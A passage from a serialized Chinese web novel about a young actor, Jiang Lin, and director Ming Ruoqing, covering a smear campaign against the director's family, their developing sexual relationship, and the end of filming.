明若卿却没有了固定的答案:“不知道。” “你”江林的话没说完,明若卿的手机铃声响起。 他接起电话,刚刚表露的轻松瞬间变得凌厉,脸色变得严肃难看:“他干了什么?” 江林有些好奇看着他,房间内出现几瞬窒息的安静。 “他现在在哪?”明若卿问:“我马上过来。” 明若卿挂了电话,只觉得脑袋更加疼了,他看向江林直勾勾的视线,只是交代道:“你好好拍戏。” 他扔下这句话,离开了剧组。 副导演主持大局,并没有因为明若卿的离开而乱套。 江林在剧情中找到了结果。 明若卿的弟弟明若童是个闯祸精,明若卿因为他曾深陷舆论风波。 他弟弟是个欢场常客,吃喝嫖赌样样精通,这次他喝了酒,管不住下半身那二两肉,睡了一个漂亮大学生。 一早醒来,明若童发现旁边的女人死了,身体都硬了,心慌想要藏尸,结果被酒店经理当场撞破,报了警。 女孩儿的父亲一口咬定时明若童奸杀了自己的女儿。而明若童矢口否认,只说那女生是自己缠上他的。 明若童就这样锒铛入狱,明若卿现在就是去警局了解情况,顺便带走了他弟弟。 第二天,又是翻天覆地的爆料,说明若卿动用关系徇私枉法,包庇弟弟,甚至他外公的身份都被扒出来,一顿输出。 而他弟弟奸杀的女学生,是某顶级大学的法学生,还是寒门出身,十年寒窗苦读、美好的未来毁于一旦,瞬间激起更深的民愤。 江林老老实实拍完戏,收起医药箱里的药,放进自己背包里,这可是天赐良机啊。 事情发酵一天,开始往不可控的方向发展,江林等了明若卿一天,在第二天晚上才等到明若卿。 明若卿脸色阴沉地来到酒店,身后跟着好几个穿着黑衣的大汉,他身上的煞气展露无遗,从雨夜中归来,浑身气质结着冰。 在大堂看见江林和小庄,正抱着暖手袋,似乎正在等他,这时网上的谣言已经以极快的速度传得沸沸扬扬、人尽皆知。 明若卿扫过江林的脸,他正直直站着看着他,不敢主动上前,又没有离开。 他原本都走了,最后还是在电梯前停住了脚步,转身看向江林,目光深沉。 江林顿时像是受到鼓励般,小跑着朝着他冲过去,直接扑到他怀里,紧紧抱着他,在他耳畔道:“我相信你不是他们说的那种人。” 明若卿没说话,单手揽着他的腰,在身后所有人震惊的注视中揽着他回到房间,江林转身朝着小庄使了放心的眼神。 此刻网上骂得难听就算了,还造谣p了明若卿让女生跪在地上给他口的照片,一瞬间网上说什么的都有,难听得要命。 这是要把明若卿和明若童两兄弟都钉在耻辱柱上。也只有娱乐圈的人能使出这么恶心的招式,事情发酵成这样,就算后面明若卿澄清,他们也只会觉得那些人被封口是因为明若卿的权势。 总之这些网民只会相信自己想相信的,什么是真相,无人在意。 江林跟在明若卿身边,那些人气质不一样,应该是明若卿的亲信。 “你先去书房等我。”明若卿把他带入房间又后悔了,怪自己发烧昏了头,或者被气昏了头,就因为江林那殷切关心的眼神就心软了。 江林哦了一声,便利落的回了书房。 江林继续拿着手机冲浪,娱乐圈最喜欢做的一件事情,就是造黄谣,捏造似真似假地爆料,然后大肆传播。 这些都得‘益于’娱乐圈绝大多数站在顶端的人都是男人,他们惯会用下面二两肉思考问题,没有脑子,所以只能想出这种东西来泼脏水。虽然脏,但是有奇效。 大概二十分钟,外面的声音都消失了,但江林迟迟没有听见明若卿唤他的声音,他知道明若卿的纠结,主动打开门,客厅内只剩下明若卿。他正在抽烟,表情有些冷漠的麻木。 江林在他旁边坐下,还没说话,便听见明若卿沙哑的声音响起:“你回自己房间吧,不用担心,这些事情三天之内能解决好,不会影响剧组正常进度。” 江林坐着没动,也没说话,只是轻轻抓住明若卿夹着烟的手,微微凑近他的指尖,抬眼看了他一眼,在他的注视下嘴唇凑近他的烟嘴,贴着他湿濡的烟嘴,咬住他的烟,自己直起身,抽起来。 明若卿一夜没睡,他见到明若童的时候,他一身伤,他不得不把他带走,他怕明若童死在里面。 但这也算是中了暗处人的圈套,他身心俱疲,身体状况也越来越差。 江林慢条斯理地抽着他半根烟,白烟从嘴唇飘出,清凌凌的眼神望着明若卿,又拢着散满的笑,指头都是如玉的骨节分明,姿态很俊。 明若卿就这样看着江林抽完半根烟,高烧未退,高速运转的脑袋在江林吞云吐雾间变得混沌,他原本冷酷外表下,心脏麻木难受,现在却像是找到了寄放的云端。 江林掐灭烟,靠近他,拢着他的脸,吻了吻他的唇,明若卿手臂主动抱紧他,想要将他揉碎在怀里。 江林推开他的吻,轻笑一声:“明叔,还让我走吗?” 明若卿黝黑的眼盯着他,盯了好几秒,滚烫的唇,急不可耐地重新贴上他的,用动作回答了他的问题。 江林唇角勾了勾,嘴唇被明若卿反复吮啧,辗转舔吻,他咬住对方的唇,半晌才说:“明导,我要被你传染了感冒,算不算工伤?” 明若卿呼吸有些重,“算,多少钱我都赔你。” 江林眉眼间瞬间笑意明显灿烂了。 他就是个见钱眼开的混蛋。 第79章 “等会儿”江林轻轻抵住他的下颌, 嘴唇泛红,脸上也升腾起热乎乎的温度,他低声道:“你先吃药, 还在发烧。” 江林的掌心在他额头拂过,黑黝黝的眸子带着似真似假的关心, 从自己的背包里拿出事先放进去的药丸。 明若卿呼吸沉重,怀里的重量飘然消失,仿佛飞到他身侧的蝴蝶又飘然飞走了, 他视线落在江林身上,他脱了外套, 露出里面浅绿色的毛衣,简单的浅色牛仔裤,正在弯腰给他倒热水。 江林微微弯着腰,绷直的牛仔线条,依稀辨认出玲珑的曲线,他端着一杯温水走过来, 自己先喝了一口, 感觉不烫才递到明若卿手上。 “拿着。” 明若卿沉默地看着江林的动作, 又听话吞了药片和水,视线一错不错地看着江林的脸。 江林挑眉:“看着我干什么?” “”明若卿震惊于江林对欲望的收放自如, 好似他从不沉沦于情欲, 他的所有表现只是为了诱捕他而已。 明若卿并不觉得江林的手段有多高明,却知道自己是自愿在这一刻遮住自己的眼睛,看不透他的行为。 江林拽着他的手去浴室, 两人的衣服扔在浴室外,堆落一地,浅绿色毛衣和黑色衬衣交织在一起, 牛仔裤和西裤叠着,凌乱又暧昧。浴室热气冲天,两人体表温度都在升高,在热水下拥吻,肌肤在摩擦 一切混乱又无序,似抛开了外面所见的无形枷锁,肃然的气质被碾碎,江林漫不经心地掌控着他的所有。 水进入明若卿的眼睛里,他用力眨了眨才看清楚江林眉眼间的浅淡薄凉,有的点点星火,却如荧光和皓月。 “明叔。”江林眼底神色变得温柔,其中包含的温和,更像是一种善意的伪装。 明若卿感觉自己的脑子糊涂了,抱着他的脖子,两人缓缓拉近,舔了舔他的唇角,嗯了一声。 “生病了好好躺着吧,让让我。”江林手放在他腰上,明导身材不错,腰上肌肉不容小觑,就算是再忙,他也保持着锻炼。 明若卿盯了江林几秒,嗓音疲惫沙哑:“你用这种招式骗过几个人?” 江林也不隐瞒,回吻了两下,唇角勾起笑:“您是第二个。” “等等,这算骗吗?你情我愿的事情,明叔。”江林似乎好奇,摸了摸他的脸,问:“明叔快三十了,从前有过几个男朋友或者女朋友呢。” 两人在不算宽敞的浴室对视着,旁边花洒还在喷水,两人都没有节约用水的意识,吸入肺腑的呼吸仿佛都掺杂了水汽,缠绵暧昧的气氛,突然就不着急进入正题了。 明导发着高烧也要陪着小朋友调/情,算是兴致满满了呢。 “你还要管我?”明若卿因为第二个心底多少有些不爽,现在又嫌弃江林太诚实,这种时候瞒着他不行吗? “嗯哼,我虽然不是第一次,但是有点小洁癖呢,明叔”江林突然觉得自己有些强词夺理,便不由自主地笑出声,“我突然觉得自己真的好坏啊,真的被自己无语到了。” 明若卿眼神微凶,“你老实点。” 江林哦了一声,两人又抱着亲了一会,气氛又火热了些。 江林按住明若卿的手,突然抬眼问:“明叔,有没有安全套?” 明若卿怔了一瞬,抬眼看着江林,咬牙切齿道:“我怎么会在我住的地方时刻准备这种东西?” 江林抓起墙上的浴巾给自己裹上又给明若卿裹上,恶劣又无辜地说:“那下次吧,明导。” 明若卿不知自己是因为生病,还是被气的,总之脑子都充血了,脑仁疼。他拽住江林的手腕,第一次被气得脑袋缺氧:“你什么意思江遂!” 江林倒是依旧不紧不慢,丝毫不着急,面色如常,只是脸颊有些红,“注意安全和卫生呢。” 明若卿一把将人推到墙上,身上沉稳气度全无,几乎恼羞成怒地咬住他的唇,狠狠撕磨一瞬,但江林不动如山,不反抗也不回应,真的是一个彻头彻尾的混蛋! 明若卿是被江林磨得一点脾气也不剩,在他耳畔,一字一句沉声道:“没有人,老子从来没被人搞过!” 江林得逞地笑了笑,从喉咙传出好听的笑声,如画的眉眼有着这个年龄不服的深邃和恶劣,他拢着明若卿通红滚烫的耳朵,轻轻落下一吻:“我好喜欢明叔啊。” 自此,江林才忘记刚刚说的什么安全卫生 滚烫的体温和因为高烧迷糊的神智,让他变得无序,犹如天然的止疼药,只会配合对方。 明若卿等江林打电话的声音传来,他才后知后觉地缓过神来,坐起来,便瞧见江林裹着浴袍在窗户前抽烟,声音徐徐传来:“嗯,孙医生麻烦你来一趟,嗯嗯,不是我的房间,来明导的房间。” 孙医生就是上次给江林看病的医生,也是剧组临时的‘御用医生’。 江林挂了电话,回头便瞧见明若卿正静静看着他,他咬着烟露出一点小白牙,明若星月的眸子,走到他床边,浴袍露出大片肌肤,上面是他弄出来的痕迹。 明若卿不想回想自己如同失智般渴求的行为,倒是江林一直都是克制又冷静,甚至没在他身上留下任何过激的痕迹。他勉强恢复冷静,唇轻轻抿起,想找个由头让江林回去,却又觉得有些太过于冷漠。 江林心情还不错,将烟夹走,嘴唇殷红,烟雾轻轻被江林吹开,故意全部吐在明若卿那张故作冷漠的脸上,瞬间他的眉梢便蹙了起来。 明若卿想开口教训江林没有礼貌的行为,可是下一秒,江林那只夹着烟的捧着他的侧脸,低头在唇上吻了吻。 明若卿尝到江林唇齿间的涩然烟味,脸侧似能感觉到他夹在手中火星的热度,缓缓又烫了起来。 原本想做什么,明若卿已经忘得干干净净了。 江林松开他,眉眼间性感得没边了,明明才二十岁的年纪,却不显得轻浮和无知,沉淀着让人着迷的气质。 他眼睛稍稍一弯,又变成了那个嘴巴没把门的男生,语调也轻了一些,如同呢喃般:“明叔不知道你感觉怎么样,但我还蛮舒服的,之前还以为小说里面的高烧play是唬人的,现在” “江遂!”明若卿忍无可忍地呵住他,警告地看着他,江林做了一个闭嘴的手势,站起来去客厅外面抽烟了。 明若卿看着狼藉的床单,很想拼凑出自己的冷漠和严肃,但根本没有办法欺骗自己。 他看着流汗的江林,幻视着那天在舞台上星光璀璨的模样,好似天生应该待在聚光灯下闪耀,他那时想的是他把星星抓在自己手里 窗户漆黑一片,原本细雨飘飘,此刻却成了大雨滂沱,也难为孙医生一大年纪还要冒雨出诊。 江林正在刷微博,关于明家兄弟的热搜高居不下,广场上闹得不行,甚至明若卿从前拍的电视剧和电影都被搬出来审判,各种各样的帽子往他头上扣。 门铃响起,江林讶异,孙医生这么快,电话才过去五分钟,但随即敲门声很粗鲁地响起。 江林有些疑惑,倒是不担心人身安全,此刻门外还守着两个黑衣保镖呢。 门从里面打开,江林瞧见一个鼻青脸肿,手臂还打着石膏的少年,他看着那和明若卿有几分像的眉眼,瞬间得到了这人的身份讯息。 明若童瞪着眼前陌生的男人,还以为自己走错了,看了看门口相熟的保镖,视线扫过江林的穿着和长相,顿时愣了一瞬。 而且他在看见江林浴袍袒露胸前的痕迹,吓得明若童后退了两步,脸上戾气都被惊讶冲淡了些。 江林这才慢条斯理地拢了拢衣襟,侧开身体,双手环臂,低声道:“明导在卧室呢,你进来吧。” 他这副主人翁的做派,顿时让明若童大脑的cpu都要烧了。 他哥给他找了个男嫂子? 明若卿不是阳/痿吗?我靠。 明若童看着他哥穿着睡衣躺在床上,但十八岁驰骋欢场的明若童还是察觉到了空气中不一样的味道。 “你来干什么?”明若卿瞧见他,一张脸彻底冷下来。 “我就想知道是那个孙子在背后阴老子,我他娘的非干死他不可。”明若童满腹怨气,他真没强/奸,虽然他喝多了,但他真不是干这事儿的人,他清楚地记得是那个女人自己找上他的。 “你是顶着一个猪脑袋在肩膀上吗?”明若卿语气讽刺,为明若童的智商担忧,这是明摆着的算计。 “我就是被人陷害了,谁还能睁着一只眼睡觉啊?”明若童振振有词,非常不满,牙齿被人打落几颗,现在说话都漏风。 如果不是明若童是他亲弟,明若卿真的不想管他。 江林端了两杯温水进来,兄弟俩剑拔弩张的气氛瞬间变得微妙起来,江林递给明若童一杯水:“来,喝水。” 江林把明若卿的那杯放在他床头柜上,语气轻了些:“多喝点水,嗓子都哑了。” 这亲疏分明地对待,一个是因为客气礼貌,一个是因为担心。 明若卿绷着一张脸嗯了一声,江林便退了出去,把空间留给他们俩。 江林关门前听见明若童嘀咕了一句:“哥你还说我,你自己不一样养着小情人?” 明若卿语气更重了些:“明若童再敢胡说八道,我亲自送你进去。” 明若童不满,却不敢回嘴了。 两人在房间内发生了不小的争吵,又归于平静。 “你先好好待在家里,没有我通知不要出来添乱了。”明若卿疲惫地揉了揉眉心,他不认为明若童能帮他任何。 明若童愤愤不满又无可奈何,临走之前闪过一个念头,便开口问道:“哥,我上次不是往你们剧组里塞了个人吗?他现在怎么样了?表现还可以吧,没让你失望吧。” 明若童不关注娱乐圈的消息,所以并不知道江林成为男主,也不知道江林长什么样子。 明若卿的表情霎时间变得古怪起来,眼神闪烁了一瞬,最终归于冷淡,平静地开口:“你刚刚看见的那位就是江遂。” “我刚刚?!”明若童目瞪口呆,爆了粗口。 “不是,哥,你不能这样啊!他是我好兄弟的宝贝啊,我操,我这怎么交代啊。”明若童这个时候了还在讲义气,比他的事情还急呢。 明若卿懒得和他解释,不耐烦道:“滚出去。” 明若童还要说什么,被明若卿一个冷眼吓了回去,顿时只能忍气吞声地走了出去,看见还在沙发上刷视频的江林,一个箭步上前,指责道:“你怎么怎么可以跟我哥上床呢?” 江林漫不经心地抬眼,好笑地看着他义愤填膺的模样:“我为什么不能和你哥上床?” “你你不是和宝哥”明若童说。 “宝哥是谁?”江林云淡风轻地问。 “白宝戎你不认识吗?” 明若童得出了一个否定的答案:“不认识,他很有名吗?明少可以介绍我们认识一下。” 江林笑眯眯地看着他。 明若童大为震惊,他哥出现在他身后,声音冷得像坠入冰窖似的:“你说谁?我认不认识?” 他没听见前半段,就听见江林的回答。 明若童瞬间闭嘴,灰溜溜地离开了。 明若卿穿着睡衣,房间内开着暖气,单薄的睡衣也不显得冷,他脑海中将明若童的好兄弟统统想了遍,但不管是谁,都没有让他觉得心情舒畅。 江林靠在沙发上,歪着脑袋看着他,“站着干什么,坐过来呀。” 明若卿让人来收拾房间,江林大大方方靠在他肩膀上,手摸了摸他滚烫的脖子,有些担心:“明叔,你烧得好厉害,要不还是我送你去医院吧。” “不用。”明若卿拒绝了,现在他前脚进医院,后脚就会有人围上来。 江林压着他的脖子,在他嘴唇上亲了亲:“好辛苦哦。” 明若卿梗着脖子,理智恢复的时候和江林亲近还真有些不自然,有淡淡的负罪感,像个满嘴仁义道德的老王八蛋。 江林却不爽他的躲避,语气藏着锋芒:“更加过分都做过了,接吻还要躲吗?” 他才不想做亏本买卖,明若卿不认也得认。 明若卿视线掠过江林带着冷笑的脸,冷漠的表情是原形毕露的真实,心脏被磨得难受,像是在榨石榴汁,最后留下的石榴籽也硌得手疼。 他主动抬手拢着江林的后颈,两人重新吻在一起。 等孙医生到的时候,两人就在沙发上旁若无人地拥吻,客房服务员没有把门锁紧。 明若卿松开江林,脸上稳得住,冷静地看着孙医生,江林也笑着拉开距离,唇红得不行,将位置让出来。 孙医生给明若卿看过几次病,且好几次都是同样的病症,所以他过敏源什么的都了如指掌,直接配好药带过来的。 临走前还给了江林一盒板蓝根颗粒用于预防感冒,提醒他,不建议和病患有亲密的接触,容易感染。 江林抱着那盒板蓝根笑,他从未像这次这么想感冒,他真的想拿到那笔工伤费啊。 明若卿在床上挂水,江林守在他身边,搬了椅子坐着,“明叔,你睡吧,我守着你的药。” 他也会拔针。 明若卿的精神的确不支持他继续强撑,在江林的目光下陷入沉睡。 等明若卿的药水注射完,江林给明若卿保温杯里灌满了热水放在床头,然后自顾自地爬进了明导被窝里,困得眼睛都睁不开了。 明若卿在他爬床的瞬间睁开眼,发现是江林才慢慢收回目光,重新阖上双眼。 江林一觉无知无觉得睡到了下午,他是被重重的关门声吵醒的,紧接着便爆发了巨大的争吵声,女人的尖叫声,男人的爆喝声,杂乱吵闹。 江林清醒了一瞬,没有出去,逐渐变成了哭嚎声,大骂着明若卿冷血无情,诅咒着他不得好死。 其实这件事很好猜,明若童处处惹事,得罪了明清的心肝宝贝,趁着这次明若卿的外公因为某些事情被管制调查,明清便耳根子软听了枕边的人的话,想要彻底毁了着兄弟俩。 那个女学生是个瘾君子,明清给她注射了大量的兴奋药物,最后死在明若童床上。 她的父母也是明清给了钱闹的,网上的娱乐风波全是他一手操控,其中也有不少明若卿的仇敌操控。 明清是个凤凰男,他能起家全靠明若卿的母亲,现在妻子一死,就翻脸不认人了。他算是老爷子的赘婿,他原本想以明若童要挟明若卿交出公司的所有股份和权力。 但最终还是小看了明若卿。 明若卿从前懒得和明清争这些东西,毕竟在母亲在世前,明清还是算一个合格的父亲。 明若卿虽然没有在明氏集团任职过,可是里面不少人都是明若卿母亲的亲信。 明若卿的外公也没有犯事,只是某件事情波及太大,他是被顺带停职的,听了小外孙的事儿,直接动用关系官复原职。 明若卿的外公谭佳国只有明若卿母亲谭彤鑫一个女儿。 所以两个小外孙就是他的命根子。 不然明若童哪敢这么狂。 江林记得最后网上的谣言是由公安部门发蓝底白字止住的,而所有关于明若卿不好的言论再也无法堂而皇之地出现在网上。 网友还曾发出感叹,豪门恩怨也太龌龊了。 半个小时的闹剧安静下来,犯事的嫌疑人都被警察带走,上次殴打明若卿的涉事警察也被革职调查,所有的一切都尘埃落定。 江林等安静下来,打开门出去。明若卿正背对着他,站在厨房,像是在发呆,他走到明若卿身后,他都毫无察觉。 江林缓缓从后面抱住明若卿,下巴搁在他肩膀上,他才缓缓回神,手被江林握住,他语气很轻:“明叔,手怎么这么冷呢?” 明若卿抽回手,躲开他从后面的拥抱,“吵醒你了?” “不算,也睡饱了。”江林双臂撑着桌沿,懒懒地眯起眼,明若卿已经恢复一贯的沉稳。 “保温箱里有吃的。”明若卿说。 “正好饿了。”江林肚子咕噜叫了一下。 他们只字不提今天发生的事儿,一起吃着美味的糖醋福寿鱼,吃饱喝足,江林才恢复了精气神,伸了个懒腰,问明若卿:“明叔,我要不去收拾东西搬你这儿来?” 明若卿夹住的松仁玉米都掉了,他垂着眼说:“不用。” “那好吧。”江林不强求,十指交叉撑着下巴:“今晚守着你打完针我就回去。” 明若卿扫了一眼他认真的眼眸,最终还是将拒绝的话咽了下去。 “完蛋,忘记我在节食了。”江林刚刚饿得慌,便没管那么多,吃了两大碗米饭。 “一顿而已。”明若卿安慰他。 “我们剧组什么时候可以重新开工?”江林喝了口水。 “这两天就可以。”明若卿放下筷子,擦了擦嘴,处事不惊的脸。 江林眼珠微微一转,低头刷了刷手机,然后超绝经意的举起手机,看向明若卿:“明叔,我看热搜说卓智明正在筹备新戏诶,这个卓导您认识吗?” 明若卿看着故作纯真的脸,简直被他直白的行为气笑了,绷着脸说:“不认识,不熟,他是谁?” “阿咦。”江林痴痴笑了笑,起身走到明若卿身侧,拉开凳子坐下,抓着他的手腕,两人手牵在一起,他嘀咕着:“之前都有狗仔爆料说你们两个是好友来着。” 明若卿唇角滑过淡淡的笑,认真看着江林,低声道:“江遂,你爬我的床,我从来没说过要给你资源……怎么办,心思都白费了。” 江林脸上的笑容瞬间僵硬了,然后又快速隐藏,笑容浅浅地说道:“我没想过这些,一开始就说啦,我只是崇拜您而已。” 明若卿心中已经荡漾起笑意,面上却一本正经:“是吗?那就好,我害怕你不开心呢。” 江林已经松开了抓住明若卿的手,笑容灿烂:“怎么会,我一点也没有不开心。” “哦!我发现我台词还没记好,先回去背台词啦,明导剧组见。” 江林说完转身就走了,刚刚还说要守着他打完针,现在已经翻脸不认人了。 明若卿见他离开,心情被他弄得哭笑不得,江林也算是一个奇葩,没有那些弯弯绕绕,不爽了全摆在脸上。 /// 网上风波平定,剧组重新开工,江林依旧会笑着和明若卿打招呼,但不会再问他要不要吃早餐。 连续一星期,江林都很乖,只是认真拍戏,然后和明若卿探讨演技,像个好学的乖宝宝,到了剧情的后半阶段。 主角邵依尘遭受着师兄、队友的背叛,正是道心破碎的时候,但这一切的背叛都是为了最后的反转。 江林一周都沉浸在低落的情绪中,他正在体验邵依尘的心境。 江林一下戏就觉得身心俱疲,躲进房间休息,在沙发上眯了眯,电话响起打断了他的美梦。 是经纪人红姐的电话。 “喂?” “刚刚卓导助理给我打电话,说是让你有时间去试试戏,这是怎么回事儿?”蒋红可不相信大名鼎鼎的导演会主动选择江林,他现在还没有任何代表作呢。 江林精神了,嘴角飞扬起笑容,“什么时候?” “不着急,他们现在还在筹备班底,拉赞助,完全可以等你拍完手上这部戏。”蒋红感觉自己捡到宝了。 “行,到时候你把剧本拿给我。”江林道。 他挂了蒋红的电话,然后给明若卿打了电话。 电话响了好几声才被接起,江林直奔主题:“明叔,刚刚卓导的戏是不是你和他打的招呼!” 明若卿意味不明地冷哼一声,也算是看清楚江林的嘴脸了,完全就是有奶就是娘。之前恨不得找到机会就往他跟前凑,这些天是生怕找得到机会和他独处,他变成了洪水猛兽。 黑白分明的性格,让人生气,又觉得可爱。 “哎呦,明叔你咋这么好呢,呜呜呜,我超爱你的。” “我发誓,您就是我最爱的宝了,么么,您想我吗?我来找您呗?” 第80章 明若卿没有借此和他提任何的要求, 只是让他好好拍戏。江林便心安理得地接受,在浴室里洗澡都是哼着小曲儿的。 江林的综艺播出,因为宁星安和江林上次炒cp出圈的热搜, 在桃子台播得还不错,他也借此涨了不少粉丝, 但大部分都是cp粉或者颜粉。 江林也算是小有名气,得罪的人不少,黑他的人只多不少。 喜剧的底色是悲剧, 明若卿这部剧的结局全员be,邵依尘身边的兄弟朋友以及爱人都是不得善终的结局。 明若卿公私分明, 在公时,如同冷漠的机器人,一帧一帧的画面都要求极致,他冷漠地否定了江林的表演。 “江遂不够,你的悲伤太流于表面。”明若卿喊了卡,看着江林哭得双眼红肿, 抱着浑身是血的女主。他脸上也是斑驳的血痕, 眼里缀着泪, 神情凄惨。 这场戏是江遂大战前,女主动用了伪神秘术, 以身为祭, 为邵依尘增添胜利的筹码,邵依尘亲眼看见女主被阵法杀死,却在阵法之外无能为力, 女主的每失去一丝生气,他便增长一丝法术。 要如何表演出真正的伤心欲绝,江林还真没经验。 他不懂为什么明若卿还是不满意, 他明明表演的很好了。 “江遂你的眼里有泪,但是没有悲伤,剥离的悲伤就是冷漠。”明若卿一阵见血地说道,拧着眉,是十分冷酷的表情:“如果是这样的演技,我没办法让你过关。” “不是流眼泪就是伤心,也不是不流泪就是开心,你并没有把自己当成邵依尘。” 所有人看着明若卿和江林,江林跪在布景的废墟沙尘中,吐血的女主已经从他怀里坐起来,他还是保持着原本跪地的动作,湿润的眼看着明若卿,眉梢缓缓蹙起。 明若卿的确眼光毒辣,稍稍一点瑕疵都无法容忍,旁边的人都已经觉得情绪足够到位,可明导就是不满意。 “不光有悲伤,还有一定程度的绝决和凶狠,但这个度要把握好,邵依尘从前只是一个普通人,不是天生的杀手,他依旧有温情,就算凶狠也不会冷血”明若卿不急不徐地说道,想要当好一个演员不是那么简单的,在他的剧组一场戏能够磨上数日,重复的台词、重复的表情,直到他满意为止。 “不着急,今天先休息,总有一天你能演好的。” 江林刚刚拍戏的时候,因为想要救女主,摔在地上,在阵法前撕心裂肺想要阻止她的行为,最后精疲力竭地爬着去抱住她的尸体的,两人甚至没有一句临终话别。 感情从未诉说于口,爱意葬送在沉默中,却以这样惨烈的结局结束。 江林被小庄扶起来,他脸上还有泪痕,却已经快速冷静下来,忍不住蹙了蹙眉,他不认为自己表现得有什么不好。 他坐在椅子上,手上脏污,低着头一遍一遍重新读着剧本,但短短千字,分析不出更多的感情。 眼睛酸涩疲惫,近日高强度的工作强度,让他觉得疲惫,同时又不认输,他不认为自己演不好。 “江遂。”明若卿的声音在耳畔沉沉响起。 江林反应了半晌,才抬起脑袋,周围的工作人员已经所剩无几,灯光微暗,他静静看着明若卿。 “跟我来。”明若卿说。 江林放下剧本,站起身来,身上还穿着邋遢的戏服,沉默地跟在明若卿身后。 “先把手和脸洗干净。”明若卿带他进了自己的办公室,里面有卫生间洗脸池。 江林抿着唇,一言不发地看着他。 明若卿便主动抓起他的手腕,放在温水下冲洗,用洗手液搓洗,直到那双手重新白净干净,脸上的特殊材料制造的血迹,还残留在他大半张脸上,明若卿便用洗脸巾一点点把血迹擦干净:“怎么?对我的批评很不满吗?” 江林只是拿黑深的眸子盯着他,眼球上泛着红血丝,眼皮也是肿的,这场戏已经连拍了三天了,他的状态很差。 明若卿扔掉洗脸巾,推着他的肩膀出洗手间,桌上摆放着几盒饭菜,还冒着热气,“先把肚子填饱。” 江林看在饭的面子上,脸色才缓了缓。 “其实如果不是在我的剧组,就你的表现在百分之九十的导演都要夸一句未来可期。”明若卿给他夹了一筷子鸡肉,才语重心长地说道:“但还不够,江遂,你依旧没有成为邵依尘。” “我成为不了他,我本来就不是他。”江林咽了咽米饭,望着明若卿反驳道。 “你现在就是他。”明若卿也不生气他的反驳,像个耐心的老师:“你扮演着他的一生,就要成为他。” 江林的演技毫无技巧可言,他是体验派的演员,但又剥离于表面,平时看不出来,在情绪起伏较大的时候,就会表现出破绽来。 “你有没有喜欢过人?”明若卿又问。 江林掀起乌黑的睫毛,脸上表情有一丝变化,坦白道:“有吧。” 江林很少想起身死之前的记忆,但他依稀记得,自己年少时也是有过怦然心动的时候。 但出车祸进入这么多世界,他一直游离在表面,没有表露过真心。 “那你想象一下,他为了救你死了,你不得不喝光他身上的每一滴血,吃掉他身上每一块肉,因为不这么做,你就会死。”明若卿很想问那个人是谁,又不想徒增烦恼,抓住筷子的手指默默收紧了。 江林垂下眼,记忆中模糊的面容一闪而过,脸色更加冷淡了些,漫长的沉默,江林咀嚼的速度很慢,细嚼慢咽,不敢吃得太多。 “好,我知道了。”江林突然开口,脸上恢复笑容,不达眼底的笑容,“谢谢明导给我开小灶啦。” 明若卿平静地点了点头,“期待你明天的表现。” 江林放下筷子,抽了纸巾擦嘴,恢复了些精神,“我这几天的表现真的这么差吗?” “不算差,但少了一些我要的感觉。”明若卿对作品里每个角色有着苛刻的标准和敏锐的嗅觉。 江林似笑非笑:“明导要求真高。” 明若卿扫了他一眼,“你以为为什么我的剧能够火?” 江林竖起大拇指,等着他吃完饭,跟在他身后。 未来的当红男星进了名导房间一夜未出,第二天一大早就和导演共进早餐,然后一起去片场。 这天的戏总算让明若卿满意了,片场反应很好,连女主的扮演者,沉诗澜都在一旁哭了好一会儿,更别说小庄简直哭成了泪人,上气不接下气的,下一秒就要撅过去。 “恭喜我们女主盛如月杀青成功!”张琴献上鲜花,悲伤凝重的气氛被冲淡不少,众人也欢呼了一瞬。 江林从戏中艰难抽离情绪,笑着和沉诗澜拥抱,他说:“澜姐以后有机会再合作。” 沉诗澜用力拥抱了一下江林,笑中带着一些哭腔哽咽:“一定!” “好好的。”江林拍了拍她的肩膀。 江林的戏份也只剩下最后十几场,一个个角色杀青。小庄第一次经历这种感觉,原本一个剧组那么多兄弟姐妹,现在却在一一离开,戒断反应有些强烈。 /// “嘶。”江林动了动身体就忍不住龇牙咧嘴,因为吊威亚,在空中旋转打斗,腰上已经勒出青紫一片。 小庄正在化妆室给他哥涂药,然后准备贴膏药,叹息着:“哥,你才二十岁,这不会搞出什么腰伤来吧。” “盼你哥点好的,你哥腰有用。”江林翻白眼,门从外面打开,明若卿面如常色地走进来。 小庄一慌,手一抖,药都掉在地上了。他虽然知道江哥和导演有些不清不楚的关系,但他没有他哥的大心脏,不知道怎么直视对方啊。 “你出去吧,我来。”明若卿说。 小庄不敢动,江林大剌剌地趴在沙发上,懒懒散散地说:“好了,小庄你出去吧,顺便给我买杯柠檬茶来,要加冰的。” “大冷天还要喝冰的?”明若卿在小庄的位置上坐下,看着江林窄又劲的腰身,腰背上青紫的勒痕,还有几处磨破了皮。 江林呈现死鱼状:“不冰的,我觉得好苦,不喜欢。” 他察觉到一双手在他腰上滑动,刺鼻的药水味在空气中蔓延,酸痛的腰身刺痛起来,他慢慢悠悠说:“这也算工伤吧,明大导演。” “勉强算吧。”明若卿回答,柔韧的肌肤在掌心发烫,帽檐下的眼睛露出一丝心疼。 “勉什么强?就是好不好?”江林嘀咕着。 “卓智明那边试镜结果怎么样?”明若卿低声问,卓智明如今快五十岁,老顽固一枚,如果不是在他低谷期,自己曾经资助过他一次,就算他嘴皮说破都没用。 江林叹了一声:“去表演了一段,让我回来等消息,一个星期都没消息,怕是完蛋咯。” “你面试的什么角色?”明若卿撕开药膏,轻轻贴在他腰上,抚平褶皱。 “警花。”江林撑着下巴,“这是刑侦剧,我原本面试的是另外的角色,准备也是那个法医,结果到了试镜现场,卓导让我试的另外的角色。好像说这原本是一个女生的角色,然后让我顶上了” “你说他是不是不满我靠关系上位,所以故意玩我呢?”江林纳闷了,角色性别说换就能换呢? 明若卿拉上他的衣摆,笃定地说道:“他不敢故意玩你。” 江林听见他这么牛气冲天的话,忍不住眯着眼笑起来,一骨碌坐起来,伸手抱着明若卿,睁着一双笑弯的眼问:“明导面子还是大哈?您的意思是我能进?” 明若卿严肃的表情柔和一瞬,在江林脸颊上亲了亲:“不是我面子大,是你的演技好。” 江林嘴角的笑容都绷不住了,扬起傲娇的脸,嘿嘿两声,凑到明若卿唇边和他亲了起来,彼此滚烫的呼吸又熟练的交织在一起。 /// 《依尘传》全部杀青那天,天难得放晴,太阳高悬,阳光灿烂。 历时四个月,江林春节都是在剧组度过的,那天明若卿给他做了饺子吃,还包了红包,现在却是告别的时刻。 卓智明那边也有消息了,让他三月一号正式进组,距离他进组还有一个月的时间,蒋红已经把他的通告安排得满满当当。 